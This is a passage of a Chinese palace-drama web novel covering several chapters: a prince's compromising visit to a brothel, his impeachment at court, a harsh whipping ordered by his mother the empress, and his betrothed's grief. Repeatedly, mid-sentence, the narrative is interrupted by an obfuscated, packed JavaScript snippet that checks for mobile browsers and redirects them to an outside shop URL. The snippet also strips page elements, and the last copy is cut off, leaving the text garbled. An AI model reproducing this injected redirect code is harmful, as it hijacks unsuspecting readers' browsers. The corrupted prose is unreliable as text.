但他微微侧过了脸。 就在这时，门外传来一阵急促的脚步声。 门板被人从外头一把推开，一个鬓边簪着大红花，手拢暖炉的浓妆妇人跨进来，人未至，声先到： “哎哟我的爷！方才听人说这屋里打起来了，可吓死奴家了——” 她话音一顿，目光扫过屋内：屏风歪了，矮几斜了，地上瘫着一个眼含热泪的年轻男人，窗边站着一个面沉如水的。 老鸨的目光在两人脸上转了一圈，神情微妙地变化了。 那点惊慌失措褪去，取而代之的是一种阅人无数的了然。她掩口一笑，眼波流转： “二位爷这是……头回来？” 萧征：“……不是。” 袁鸣忙脸红脖子粗地急声争辩：“是！就是！” 老鸨的笑容更深了。她款款迈进来，暖炉搁上桌案，上下打量着萧征——虽着常服，气度却不似寻常客人。再看地上那位，生得周正，就是瘫得像条被抽了骨头的鱼。 她见惯风月，什么阵仗没见识过？当即心中有数，笑吟吟道： “二位爷，这包房空着也是空着。既来了，奴家给您叫两个最好的姑娘陪着？咱们阁里的海棠，芍药，正当红的，最是熨帖，知疼知热的，脸蛋儿也可人——” “不必。”萧征的声音没有起伏：“我们歇歇便走。” “那饮两盅酒？上好的秦淮春，温得正好。” “不饮。” “那听支小曲儿？光坐着多闷呀——” “不劳费心。” 老鸨的笑容僵在脸上。 她收起那副热络嘴脸，退后一步，上下打量这间被平白占着的包房，看看地上那个至今起不来的，再看看面前这个油盐不进的。房里炭火还烧着，点的熏香也燃了小半，都是银子。 她冷了脸。 “这位爷，我这包房也不是白给人坐的。您二位既不点酒，又不叫姑娘，就这么干耗着——传出去，我这生意还做不做了？” 萧征沉默。 袁鸣瘫在地上，听着这番对话，恨不得就地挖个洞把自己埋了。他眼角余光瞥见门外已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173006|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几个姑娘探头探脑，捂着嘴窃笑，真是无地自容，奈何四肢动弹不得，连脸也捂不住，只能绝望地闭上了眼。 老鸨见萧征不语，愈发理直气壮，将暖炉一提，跨出门去：“既如此，二位请吧。我这包房还要招待别的客呢。”边不耐烦地扬声唤龟公：“小宝，送客！把他俩给我丢出去——” “等等。” 萧征见袁鸣实在还行动不便，收在袖中的指节微微收紧。 他垂眸，不看那老鸨，也不看门外那些掩口窃笑的莺莺燕燕。声音压得极低，像从牙缝里挤出来的： “……上一壶茶。” 老鸨脚步一顿，回身看他，眉眼又活泛起来。 “只要茶？”她故意拖长声音，似笑非笑：“旁的不要？” “……只要茶。” 老鸨“哎”了一声，眉开眼笑，转身扬声吩咐：“来呀，把咱们阁里最好的雨前龙井给二位爷沏一壶！这茶可是进上的，你出了这个门儿，别的地方压根儿喝不着那么好的。要不是我们掌柜与嘉裕侯有旧……” 等老鸨掩门走远，袁鸣笑嘻嘻地道：“殿下，那茶您先尝尝，要是今日喝好了，出了这个门儿，郡主那儿肯定还有。她父亲的好东西，还不都——” “……少说两句吧！”萧征皱着眉头打断他。 哟。这会儿知道心虚了。 袁鸣心里翻白眼：刚才进来的时候不是大摇大摆，腰杆挺得挺直的吗？ 片刻工夫，门帘一挑，一个身段窈窕的女子款款而入。 她生得柳眉凤眼，一袭水红色衫裙，腰肢软得像三月春柳。手中托着黑漆茶盘，上置青瓷茶壶一只，茶盅两盏，袅袅腾着白汽。 她将茶盘搁上矮几，抬眸觑了萧征一眼，那眼风柔媚得像浸了蜜。 “爷，您用茶。” 她端起茶盅，双手奉上，指尖莹白如玉，染着淡淡的蔻丹。声音又轻又软，像羽毛拂过耳廓。 萧征没接。 他垂着眼，神色冷淡得像结了霜：“放下便是。” 那女子也不恼，眼波流转，将茶盅轻轻搁在他手边。随后又斟了另一盏，俯身要往袁鸣那边送—— “不必。”萧征抬手拦住：“他不喝。” 女子嫣然一笑，也不强求，只将茶盅放回盘中，退后两步，盈盈一福：“二位爷慢用。” 她转身离去时，那水红色的裙摆在门槛上轻轻一曳，带起一缕若有若无的香风。 门板合上。 袁鸣终于缓缓睁开眼，劫后余生般长出一口气。 萧征坐在案边，望着那盏兀自冒着热气的茶。 他没动。 茶汤澄澈，叶片舒展，瞧着倒是上好的雨前龙井。 ——但也只是瞧着。 他便那样端坐着，既不饮茶，也不言语，只是偶尔望一眼窗外的夜色，又垂眸看看自己的手。 窗外冰池映着红纱灯笼，碎光流转。屋内炭火烧得正暖，茶香袅袅，袁鸣瘫成一片，萧征岿然不动。两人一个坐着，一个躺着，中间隔着半盏残茶，和一室沉默的尴尬。 袁鸣瘫在地上，从下往上的角度，恰好能看见殿下那笔直的坐姿，以及——那盏放在手边，却一口未动的茶。 他忽然有点想笑，但没敢。 “……殿下，”他小声试探：“您怕茶里也加东西？” 萧征没理他。 袁鸣识趣地闭上嘴。 什么里头不能加东西？吃食，用物，他房里点的香…… 他上辈子真被她戏耍得够了。 他说不准自己讨不讨厌她每逢那时就点起的鹅梨帐中香。 满帐馥香，光线朦胧。他试探着微微曲起指节，动作极轻极慢，自以为无人察觉。 “还装？” 身旁骤然响起慵懒的，带着鼻音的话音。苏萦整个人伏在他身上，下巴抵着他的胸膛，发丝凌乱，眼角眉梢尽是得逞后的餍足，似笑非笑。 “药效早过了。” “……敢偷着挺腰，不敢睁眼啊？” ———— 半个时辰总算过了。 袁鸣扶着屏风，颤巍巍爬起来。他扭扭手腕，再转转脚踝，原地蹦了两下，转了两圈，最后低下头，认真仔细地检查了腰带以下。 袁鸣的神情从迷茫逐渐转为困惑，困惑又转为古怪。 “殿下，”他挠挠头，迟疑道：“这药吃了就只是四肢麻痹，哪有什么催情的功效啊？” “您吓得我哟！”他又原地转了两圈，确认无误，长舒一口气，拍着胸脯后怕不已：“差点回去不好跟娘子交代——” 他絮絮叨叨，劫后余生的庆幸溢于言表。 萧征站在原地，没有应声。 窗外冰池映着红纱灯笼，碎光流转。 不催情吗？ 他垂眸，神色依然淡淡的，眉宇间却有一丝极轻的，不易察觉的困惑。 那我怎么？ 他想起前世无数次被那药放倒的夜晚。四肢确实无法动弹，意识却比任何时候都清醒。清醒地感受她的体温，她的呼吸，她伏在他胸口上时，两颗心都跳得又轻又快。 他以为是药。 他从始至终都以为是那药的功效。 可原来，那药在旁人身上，根本一点用都没有。 萧征站在绮霞阁的窗边，身后是劫后余生絮絮叨叨的袁鸣，窗外是腊月寒夜晏京城东的红灯笼。 他安静且缓慢地，陷入了前世今生从未有过的沉思。 71.“臣要弹劾永宁王萧征！” 卯时三刻，萧弘德正与众臣在承乾殿内朝会。 西河王萧祚突然出列。 满朝文武都不免觉出几分异样——这位素来阴鸷少言的皇子，今日竟主动奏事，那双总是垂着的眼睛此刻抬起来，目光直直投向龙椅。 “陛下，臣要弹劾永宁王萧征！” 声量不高，却字字清晰，顷刻打破朝堂中的寂静。 “其在禁足期间，夤夜出宫，涉足烟花之地——绮霞阁！此事有损皇家颜面，更违禁足之令，实属明知故犯，屡教不改！” 殿中嗡声四起。 几位老臣飞快地交换了眼色，又飞快地垂下眼帘。年轻些的官员忍不住微微侧身，想看看同僚们的神情。有人掩唇轻咳，有人以笏板遮面，那压低的议论声像潮水漫过沙滩，窸窸窣窣，此起彼伏。 “禁足期间出宫？” “绮霞阁……那不是东城的……” “啧。” 萧谅适时出列。 他走得很稳，不急不缓，宽大的朝服袍摆随着步伐轻轻拂动。在萧祚身侧站定后，他微微蹙起眉头，那眉宇间恰到好处的忧色，让几位素来敬重他的老臣暗暗点头。 “八弟，话不可乱说。”萧谅的声音温和得像三月的春风，带着几分无奈的纵容：“十七弟纵然年轻气盛，也不至于……此事可有实证？” 他说着，侧头看了萧祚一眼。那一眼里有关切，有担忧，还有一丝兄长式的提醒与责备。 萧祚果然被这一眼激得更怒：“三哥你还替他说话！昨夜绮霞阁中多少人亲眼所见？他那贴身侍卫袁鸣也跟着，主仆二人夜入妓馆，待了足足一个时辰！禁足期间私自出宫，去的又是那种地方，还用得着实证？” 萧谅叹了口气。他退后半步，垂眸不再言语。但那神情已经替他说了话——我已尽力维护，奈何证据确凿。 龙椅之上，萧弘德面沉如水。 他端坐着，一手搭在膝上，一手搁在扶手上，纹丝不动。唯有那微微收窄的瞳孔，泄露出几分不悦。 又是萧征。 上次禁足还没解，这回又惹出事来。 他目光微移，扫过萧谅那张恭顺温良的脸，又掠过萧祚那张犹带愤愤的脸。 他心里门儿清。 可是，萧征夤夜现身绮霞阁，这是事实。禁足期间私自外出，这是事实。满朝文武都听得真切，他这个做父皇的，能说什么？ “陛下。” 萧谅忽然又开口了。 他抬起头，面上带着几分犹豫，几分不忍，像是不愿说，又不得不说的样子。 “臣想了想，西河王所言，或许是个误会。” 萧弘德眉梢微微一动。 萧谅转身，对着满朝文武，声音清朗：“永宁王昨夜出宫，其实是探访儿臣在京中新启的一间当铺，随后又尾随当铺掌柜到了绮霞阁。臣近日听闻，十七弟对臣名下那间当铺颇有兴趣，昨夜甚至不惜夤夜探访。” 他顿了顿，唇边浮起一丝无奈的笑：“永宁王到底年纪小，孩子心性。若是对当铺经营之道感兴趣，何不直接问臣呢？臣定然倾囊相授，兄弟之间，不必这般见外的。” 殿中又是一阵骚动。 但这次，那骚动的意味不同了。 几位大臣飞快地交换眼色——探访当铺，何至于尾随掌柜？ 这是想学做生意，还是在调查什么？ 有人的目光悄悄投向萧谅。 萧谅依旧温润地笑着，仿佛全然不知自己那番话的分量。 萧弘德的目光沉了下去。 他看懂了。 老三这是明着替老十七开脱，暗着告诉所有人——萧征在查我。萧征在禁足期间私自出宫，是在查我。 这份开脱，倒比老八的弹劾还要狠。 萧祚犹自愤愤，嘴唇动了动，还想再说什么。萧谅却已转身，走到他身侧，轻轻拍了拍他的肩膀。 “西河王仗义执言，愚兄感激。”他的声音不高不低，刚好能让周围的人听见：“只是永宁王毕竟年幼，又是自家兄弟。兄弟之间本该和睦，在朝堂之上如此喧嚷，岂不让大臣们看了笑话？” 他叹了口气，语重心长：“往后这些事，莫要再提了。” 萧祚张了张嘴，不甘心地低下头，终究没再出声。 萧弘德端坐龙椅之上，面上看不出喜怒。 他目光微移，忍不住偷瞥班列中的两人—— 步军统领乔望津站得笔直，面色如常，目不斜视。可握着笏板的手指微微收紧了，指节泛出一层淡白。 他在忍。 萧弘德心领神会，心虚地无声轻叹。此事一出，萧征的名声必定大损，魏国公偏又是眼里不揉沙子的性子。 可谁让你是朕的臣子。帝王的自负顷刻压下了尴尬的心绪：别说萧征此次八成是遭人构陷，就算朕的儿子真是如此不堪，你们做臣子的，难道敢抗旨拒婚不成？ 他又不着痕迹地看向苏予夺。 这位嘉裕侯，倒是一副云淡风轻的模样。他微微垂着眼帘，神情放空，唇角带着一丝若有若无的弧度，仿佛全然没听到朝堂上的议论，在走神想什么美事。 “……” 是真不在意，还是装得太好？这老狐狸。 萧弘德收回目光，心中有了计较。 “好了。” 他终于开口，声音不重，却让满殿的低声议论瞬间平息。 “朝堂之上，弹劾皇子，成何体统。”他看向萧祚，目光微沉，“八皇子萧祚，听信传言，妄议禁中，罚俸三月，以儆效尤。” 萧祚脸色一变，难以置信地跪地领罪。 萧弘德又看向萧谅，语气听不出情绪：“晋王仁德，出面维护兄弟情谊，值得嘉奖。但此事既牵扯到你，朕之后自会查问。退下吧。” 萧谅恭顺行礼，退回班列。 一场弹劾，就这样仓促开始，又被草草压下。 可满朝文武心里都明白——这事，还没完。 下朝时，萧弘德起身离席，带着愠气对身旁的总管太监低声道：“让人去打听十七皇子回宫没有。让他一回宫就马上来见朕！” 周总管躬身应是。 萧弘德往外走了两步，又停住，声音压得更低：“……让玉栖宫那边也知晓一声。” 周总管微微一凛，腰躬得更低。 丹墀之下，百官三三两两地散去。 乔望津走得很快，袍摆翻飞，带起一阵疾风。那张严肃刚毅的脸上没有表情，可熟悉他的人都知道，他这是气狠了。 “大哥！” 身后传来一声呼唤，带着几分懒洋洋的笑意。 乔望津脚步一顿，没有回头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204253|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏予夺略显臃肿的身躯颠颠颠几步追上来，凑到他身侧，笑眯眯地唤：“大哥！走这么快干什么？武炎公主又烤了番薯等你回去吃啊？” 乔望津终于侧过头，看他一眼。 那目光里包着火，压着怒，对着这没正形的妹夫才终于发作出来——“我早看出那小子是个扶不起来的！这门亲事，我一开始就不看好！” “大哥～～”苏予夺安抚地拖长了尾音，云淡风轻地一笑：“稍安勿躁！” “我都不愿意说，你瞧瞧你那个样儿！”乔望津指着苏予夺的鼻子痛心疾首地眯起双眼，“事到如今你还笑嘻嘻的！未晚怎么摊上你这么一个爹！” 苏予夺带着笑低头摸摸鼻子，没吭声。 “那可是你亲女儿，你和小舒就这么一个孩子！”乔望津越说越气，“将来你全副身家，就要交到这么一个，一个……” 他说不下去了，把脚一跺，愤然转身：“你们家的事，我也不便多管。你自己好好想想吧！” 说罢袍袖一挥，大步离去。 苏予夺站在原地，望着大舅哥怒气冲冲的背影，半晌，轻轻笑了一声。 嘿。 他眼中闪过一丝玩味的光芒。 凡事得分哪个角度想。 这小子，心肠软，道行又浅。 将来成了亲，未晚可能拿捏得住。 他背着手，慢悠悠地哼着小曲儿往宫门外走去。 萧征与袁鸣趁宫门开时，尽量避着所有人的眼溜回南三所， 萧谅的一份“大礼”却早已放在门前。 那是一口两人才将将抬得动的大箱子。 箱内整整齐齐码着恒济当的账册、伙计名单、甚至包括前日晚上那个瘦高男人的卖身契。箱中另附一封短信： 「十七弟既对恒济当感兴趣，为兄便将当铺所涉之事尽数奉上。账目在此，人手在此，十七弟尽管查验。查完之后，若还觉得为兄身上有何不妥，只管当面来问。自家兄弟，何必偷偷摸摸？」 萧征将信撂在桌上，轻哼一声：“三哥这是一夜没睡。” “殿下，咱们暴露了？”袁鸣惴惴地探问。 萧征没有正面回答，只是自嘲地苦笑：“……今晚该轮到我睡不成了。” 他看向袁鸣：“你现在就出宫去。晚了怕是今日又见不到你娘子了。” “啊？！殿下，那您——” “快走。” 话音未落，院门外已传来脚步声。 周总管带着两个高大健壮的内侍踱进院来，面无表情地一甩拂尘： “十七殿下，陛下有旨，请殿下移步承乾殿西暖阁。” 萧征的心沉了下去。 他看了一眼身旁的袁鸣。袁鸣脸色煞白，却还是咬牙跟了上来。周总管却伸手一拦：“袁侍卫，您就不用跟着了——陛下说了，主仆同责。劳烦您跟他们几位走一趟宗人府吧。” “宗人府”三个字落下来，袁鸣的脸色变了变。顷刻之间，他就被那两个内侍一左一右架住，不由分说往外带去。袁鸣自己都怕得苦着脸，还担心地回头朝萧征小声叮嘱：“殿下，您……您多保重啊！” 萧征站在原地，看着袁鸣被拖走的背影，拳头慢慢攥紧。 他真是反应得太慢了——慢到又被人抓住了把柄，慢到没能让袁鸣躲过这一劫。 72.“你还是换个人喜欢吧。” 西暖阁的门在身后重重合上。 萧弘德坐在榻上，手中捏着一份奏章，并不抬头，面色冷得能凝出霜来。 萧征跪了下去。 “儿臣参见父皇。” 萧弘德仍不抬头，只是将那份奏章往地上轻轻一掷。纸页散落，摊开在萧征面前——“西河王萧祚弹劾永宁王萧征夤夜出宫狎妓疏”。 萧征盯着那几个字，喉结微微滚动。 “禁足期间。”萧弘德的声音听不出喜怒，“私自出宫。” “是。” “去的绮霞阁。” 萧征沉默一息：“是。” “狎妓？” “儿臣没有。” “没有？”萧弘德终于抬起眼，那目光沉得像冬夜的寒潭，“那你告诉朕，夤夜出宫，去那烟花之地，待了足足一个时辰——做什么？” 萧征张了张嘴，却说不出话。 他能说什么？说他去追查三哥的人？说他怀疑三哥是质心阁的背后主使？证据呢？人证，物证？那瘦高男人早已消失无踪，恒济当的账册今日一早才送到他手上——整整齐齐，干干净净，查不出任何破绽。 说了，就是构陷兄长。 不说，就是狎妓。 萧征垂下眼，额头触地：“儿臣无话可说。” “好。”萧弘德的声音骤然冷下去，“好一个无话可说。” “周国泰，按宫规，永宁王此举，该怎么罚？” 一旁的周总管垂首道：“回陛下，禁足期间擅自离宫者，禁足期加倍，罚俸半年。若有狎妓等秽乱之行，另当别论。” “他没有狎妓。”皇帝淡淡道，“查无实据。” 萧征抬起头，微微怔住。 皇帝看着他，目光里有一丝复杂的情绪——是失望，是无奈，也有一丝说不清的，父亲对儿子的某种期许。 “但你去了那种地方，是事实。”皇帝站起身，走到他面前，居高临下地俯视着他，“你八哥在朝堂上弹劾你，满朝文武都听着。你三哥替你说话，可你让替你说话的人怎么开口？” 萧征垂下眼：“儿臣知错。” “知错？”皇帝轻嗤一声，“你知什么错？你知的是‘不该出宫’的错，还是‘不该被人看见’的错？” 萧征没有说话。 皇帝沉默片刻，转身走向门口。走到门边时，微微侧头： “禁足再加三个月。从今日起，你不在南三所住了。” 萧征一愣。 “你母后要你住到玉栖宫后庑房去。”皇帝的声音从门外传来，“什么时候想明白自己错在哪儿，什么时候再搬回去。” “立刻到玉栖宫，寻你母后去吧。”皇帝最后回头看了他一眼：“周国泰，你送他过去。” 萧征跪在原地，转头望着父皇离去的背影，久久没有动。 周总管在一旁细声细气地提醒：“十七殿下，请吧。” 苏萦今日照例翘了上午的课，把赏明宫上上下下的人都叫进屋来，帮她把那二三百册话本都包了正经书的书皮，穿插着放在书架里。 快新年了，桌上预备着一大茶盘新倾的银锞子，亮锃锃堆成小山。谁把自己包好的十几册交上来，苏萦检查完了，就从茶盘里随手抓一把赏下去。 满屋子的人席地而坐，忙得热火朝天，笑声不断。厨房的栾嫂子是从秀州跟来的老人，端着一簸箕新制的芝麻糖花生糖进来，挨个分与那些小姑娘小内侍们。分完了，她悄没声儿走到苏萦身边，看着那茶盘里渐渐矮下去的银锞子，小心翼翼地问：“姐儿，这么早就发赏钱？后儿才腊八呢。” “啊，过年还有过年的。这是给我包书的报酬。”苏萦浑不在意，嘴里塞着满满的糖含糊地嘟哝。 栾嫂子很不赞同地撇了撇嘴，走开了。 “栾妈妈！”苏萦很亲昵地在背后唤她，笑嘻嘻道：“油多不坏菜嘛！” 栾嫂子无奈地笑着摇摇头，端着簸箕出去了。 忙活到近午，那些话本子总算都包好藏妥。苏萦亲自编了一份目录——三排第一部《大学》其实是《如意君传》；第二排第五部《论语别裁》，其实是《绣榻野史》；靠窗那排第三部《诗经集注》，其实是《剪灯新话》…… 等做完这些，她感觉脑子都用光了，下午也不想去学堂，又怕萧征管她。昨晚才把人家挠的满脸花，于情于理，今天也应该乖觉一点。 她顶不爱看他板起一张脸，脸一黑，眉头一皱，整个人一下老了好几十岁。明明生得那样好的人，这时候简直看着都没那么英俊了，让人连嫁他的念头都打消了好几分。 下午不情不愿地慢悠悠晃到上书房，居然没看到萧征的身影。 白来了。苏萦翻个白眼，缩进最后一排角落里生闷气。就为了防着他，她今日零食也没带，话本也没带，连个解闷的玩意儿都没有。这一大下午可怎么熬啊。 正当她仰头望天，懊恼不已的时候，萧谅的大儿子萧启力风风火火地跑了进来。 “打起来了！打起来了！哈哈！”萧启力的语气里透着抑不住的兴奋，野猴子似的一跃蹦到自己座位上。话音未落，前后左右早有四五颗好奇的脑袋抻了过来。 “在哪儿在哪儿？又是祖父打的？” “皇后打的！”萧启力眼睛亮得吓人，压低了声音却压不住那股幸灾乐祸的劲头，“刚我长姐陪着郭家表妹去给皇后请安，叫人挡了回来。长姐说，亲眼看见皇后身边的周福海捧着一条皮鞭子进去了！足有这么粗！”他兴奋地并上两根手指，夸张地比划给人看。 “嚯！那可真够他受的！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213149|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “活该！谁让他——”后排一个宗室子弟话说到一半，挤眉弄眼地住了口，和旁边几人交换了一个心照不宣的眼神。 几个男孩子凑在一起，脑袋碰着脑袋，幸灾乐祸的窃笑声像一群嗡嗡叫的苍蝇。 苏萦一脸茫然地听着，心里隐隐觉得不安。她倾身向前，轻轻拍了拍雨酥的肩膀，小声问：“他们说谁？” 雨酥还没回头，珉雪先猛地转过身来，不可思议地瞪大眼睛看她：“你还不知道？” “知道什么？”苏萦的心提了起来。 珉雪却在这当儿把嘴闭得紧紧的，用眼神示意雨酥来说。 雨酥四下环顾一圈，确认没人注意，才用衣袖掩着嘴唇，硬着头皮凑过来，声音压得极低：“十七弟他……昨夜出宫了。” 他们说的是萧征？！ 苏萦脑子里“轰”地一声，猛地站起身就往外冲，冲出两步又折回来，急切地想先问清楚：“母后为什么要打萧征？！” 珉雪和雨酥看着她，满脸为难，眼神里还带着一种苏萦从未见过的不忍和怜悯。 “你坐下吧华容。”连一向说话带刺，总爱和她拌嘴的珉雪都软了声调：“为我十七弟那样的男人不值当。” “不就是偷溜出宫吗？”苏萦听得一头雾水。 她昨晚藏在柜子里时听到他们的计划了啊。偷溜出宫，她也干过两回，不仅出宫，还离京了呢。什么大不了的事？ “他去的是绮霞阁！”珉雪焦急地脱口而出，随即意识到自己声量太高，慌忙捂住嘴，偷眼去瞥室中其他人有没有注意。 “绮霞阁是什么地方？”旁边一个宗室女，比苏萦年纪还小，好奇地探过头来。 “嘘！”她前面坐着的是她的胞姐，立刻转回头来呵斥她：“女孩子家，什么都问！” 苏萦话本子看多了，多的是这些乱七八糟的见识，怎么会猜不到？她瞬间白了脸，还结结巴巴地强撑：“去了也不一定就是——” “可他们都说，有人亲眼看见——”珉雪很为难，看着苏萦泫然欲泣的表情，又不忍心不告诉她真相，支吾了半天，才握了握苏萦冰凉的小手：“华容！你还是……换个人喜欢吧。” 雨酥起身走到她身边，把她的肩膀揽了过来。 苏萦呆在原地，脸色由白转青，由青转灰。 她张了张嘴，想说什么，喉咙里却像堵了团棉花，好半天，才挤出几个字： “他……恶心！” 说完这句，她便再没开口，颓然坐回原地。 远处，男孩子们的笑声还在继续，像一群聒噪的乌鸦。 “哎你们说，十七叔这回得躺几天？” “我赌十天！” “太少了，我赌半个月——你们没看见那鞭子……啧！” 73.“我就知道是他！” “啪——！”又是一声厉响，少年终于体力不支，身躯颓然向前倒去。 “扶起来，再打！”步皇后满含怒气的声音从身前传来。 左右的内侍连忙过来，把人两边架起来跪稳了。那两条紧实的臂膀，肌肉不受控制地抽动着，满是湿漉漉的冷汗。 周福海愁眉苦脸地站在萧征身后，实在不忍心再挥鞭下去。 少年光罗的脊背上已经横七竖八落满了鞭痕，血珠连成一片，顺着脊沟往下淌，洇湿了腰间的中衣。 “娘娘，永宁王背上都没一块好皮了……”周福海小心翼翼，艰难地开口。 他实在不知道该怎么劝。让殿下把裤子褪下来，再往屁股上抽两下？ 这么大的少年，还正是脸皮儿薄的时候。更何况，前儿的伤还没好利索，右边后腰底下还能看着渗出一大片青呢。旧伤叠新伤，那更是有够受的。 这小子也是，背挺得那么直，不躲不喊的，也不给娘娘个台阶儿下，今儿难道打死算完呐？ “……再打多少啊娘娘？”周福海苦着脸试探。 “再打二十。” 步皇后冷冷的话一出，连他面前的萧征都忍不住缩了缩脖子。 能不怕么。周福海心中深深地同情。皇后打起儿子来，就跟不是她自己亲生的似的。 他咬着牙狠狠心，再次高举起那条皮鞭—— “啪！” “知道我为什么打你吗？”步皇后的声音从头顶传来。 问话了。周福海心里如释重负：这就是快完了。 萧征咬着牙，没有回答。 哎呀，傻小子！白挨这一下！周福海心里都替他急，抿着嘴小声哼哼着提醒：“殿下！答话呀！” 萧征嘴唇泛白，声音沙哑，满头满身的冷汗：“……儿臣不该私自出宫。” “错。” “啪！” 这一鞭比之前重了些。 萧征闷哼一声。 “不是你出宫。不是你去了那种地方。” “是你又被人拿住了把柄。” “把柄”这两个字，像两根针，猝然直直刺进萧征心里。 “禁足期间，明知道有多少双眼睛盯着你，你还出去。明知道有人在等着抓你的错处，你还让人看见。明知道那恒济当是谁的产业，你还往里闯——” 萧征的瞳孔骤然收缩。 恒济当。 母亲知道。 母亲什么都知道。 “你以为你是在查萧谅？”步皇后的声音轻得像耳语，却比任何鞭子抽在身上都疼，“你是在给他唱戏！台本是他写的，台子是他搭的，你上去演了一圈，还以为自己唱的是主角——” “啪！” “你知道这宫里是什么地方吗？”步皇后的声音忽然低下去，低得像耳语：“这样杀人不见血的刀子，我挨得可比你多多了。” 萧征的呼吸微微一滞。 “我像你这么大的时候，”步皇后在他面前蹲下，伸手抬起他的下巴，迫使他直视自己的眼睛，“身边没有母亲，没有父亲，没有一个人可以依靠。你父皇……那时候还不是你父皇，他有他的江山，有他的嫔妃，有他数不清的孩子。” 昏黄的灯光下，他看见母亲的眼眶微微泛红。 可那目光里没有泪，只有一团烧了二十多年的火。 “我若像你这样横冲直撞，我的命早就丢在这宫里了！” 她松开手，站起身，退后两步。 “可我活下来了。” “我不但活下来了，我还生了你，生了你弟弟。” “我还让当年陷害我的人，取笑我的人，向我行礼，向我下跪，尊称我一声皇后娘娘！” 步皇后惨然一笑，不像得意的笑，倒像自嘲的笑，像往事不堪回首。 周福海的鞭子一下一下落着。萧征伏在地上，背上的血已经洇透了腰间的中衣，一滴一滴落在地砖上。 可他已经感觉不到疼了。 他只是看着母亲。 步皇后深吸一口气，转过身，走回那张紫檀椅前，坐下。再开口时，声音已恢复如常的平静： “你三哥送你的那箱账册，收到了？” 萧征喉咙发紧：“……收到了。” “干净吗？” “……干净。” “干净就对了。”步皇后端起茶盏，轻轻抿了一口，“他敢让你查，就不怕你查。你查出来的东西，都是他让你查出来的。” 她不再说下去。 “还有十下。” “……受完它。” 周福海的鞭子再次落下。 萧征咬着牙，在心中一下一下数着。数到最后一下时，他终于支撑不住，整个人扑倒在地，背上的血糊成一片，触目惊心。 房中只剩下粗重的喘息声和血滴落在地上的轻微啪嗒声。 步皇后再次站起身，走到他身边，低头看他。 “疼吗？” 萧征喘着粗气，艰难地点了点头。 “疼就对了。”她蹲下身，伸手轻轻拨开他额前被冷汗浸透的碎发，声音忽然变得很轻很轻，“记住这疼。记住你是为什么挨的这顿打。” 她站起身，往外走。走到门口时，微微侧头吩咐：“抬到侧殿去，叫太医来看看。” 周福海躬身应是。 门开了，冷风灌进来，吹得萧征打了个寒颤。 步皇后的声音从门外传来，淡淡的：“回去好好想想，想不明白，明天接着打。” 门合上了。 萧征伏在地上，背后是那扇紧闭的门。 他忽然想笑。 母亲什么都知道。知道他去查恒济当，知道他追的是萧谅的人，知道萧谅在给他下套。 她打他，不是因为他查错了。是因为他查得蠢。 蠢到让人拿住把柄，蠢到给人递刀子，蠢到被人卖了还帮着数钱。 前世，母亲是不是也这样看着他在泥潭里挣扎，看着他一错再错，却始终没有说破？ 是不是也在等他自己想明白？ 可惜前世他直到死，都没想明白。 门外，步皇后立在檐下，望着远处的天。 翠雀走到她身边，面有不忍，低声说：“娘娘，打重了！” “不够。”步皇后的声音平静得像一潭死水，“他还没疼透。” 翠雀皱眉道：“殿下毕竟还年轻呢。” “年轻不是借口。”步皇后转过头，看着她，“咱们初进宫的时候才多大？第一次见老三的时候，他也正是萧征这个年纪。” “……可他的本事可比萧征大多了。”末半句话轻得被风吹散。 “咱们殿下有人疼。”翠雀叹口气，一针见血地说。 “谁还能疼他一辈子？”步皇后别过了脸，随即想起什么，叮嘱翠雀道：“赏明宫那边，能瞒就瞒着些。我顶不爱看那丫头哭哭啼啼的样儿。” ——— 阳光从窗棂斜照进来，落在苏萦苍白的小脸上。她整个人像被抽空了似的，木木地坐在那里。 许师傅的经学课讲了什么，她一个字也没听进去。只是把身子缩在竹帘后面，眼泪一颗一颗往下砸，砸在书页上，洇开一片深色的水渍。 她也不知道自己哭什么。 气他？是气的。气他去那种地方，气他恶心。 也气自己。气自己听到这种消息，第一反应不是“我不信”，而是“他怎么能这样”——什么时候开始，她对他的信任如此不堪一击了？ 哭了一下午，眼睛肿得像桃子。 下课了。学生们纷纷散去。笑语声，脚步声，呼朋引伴的喊声，像潮水一样从她身边漫过。 她拿袖子胡乱擦了把脸，深吸一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 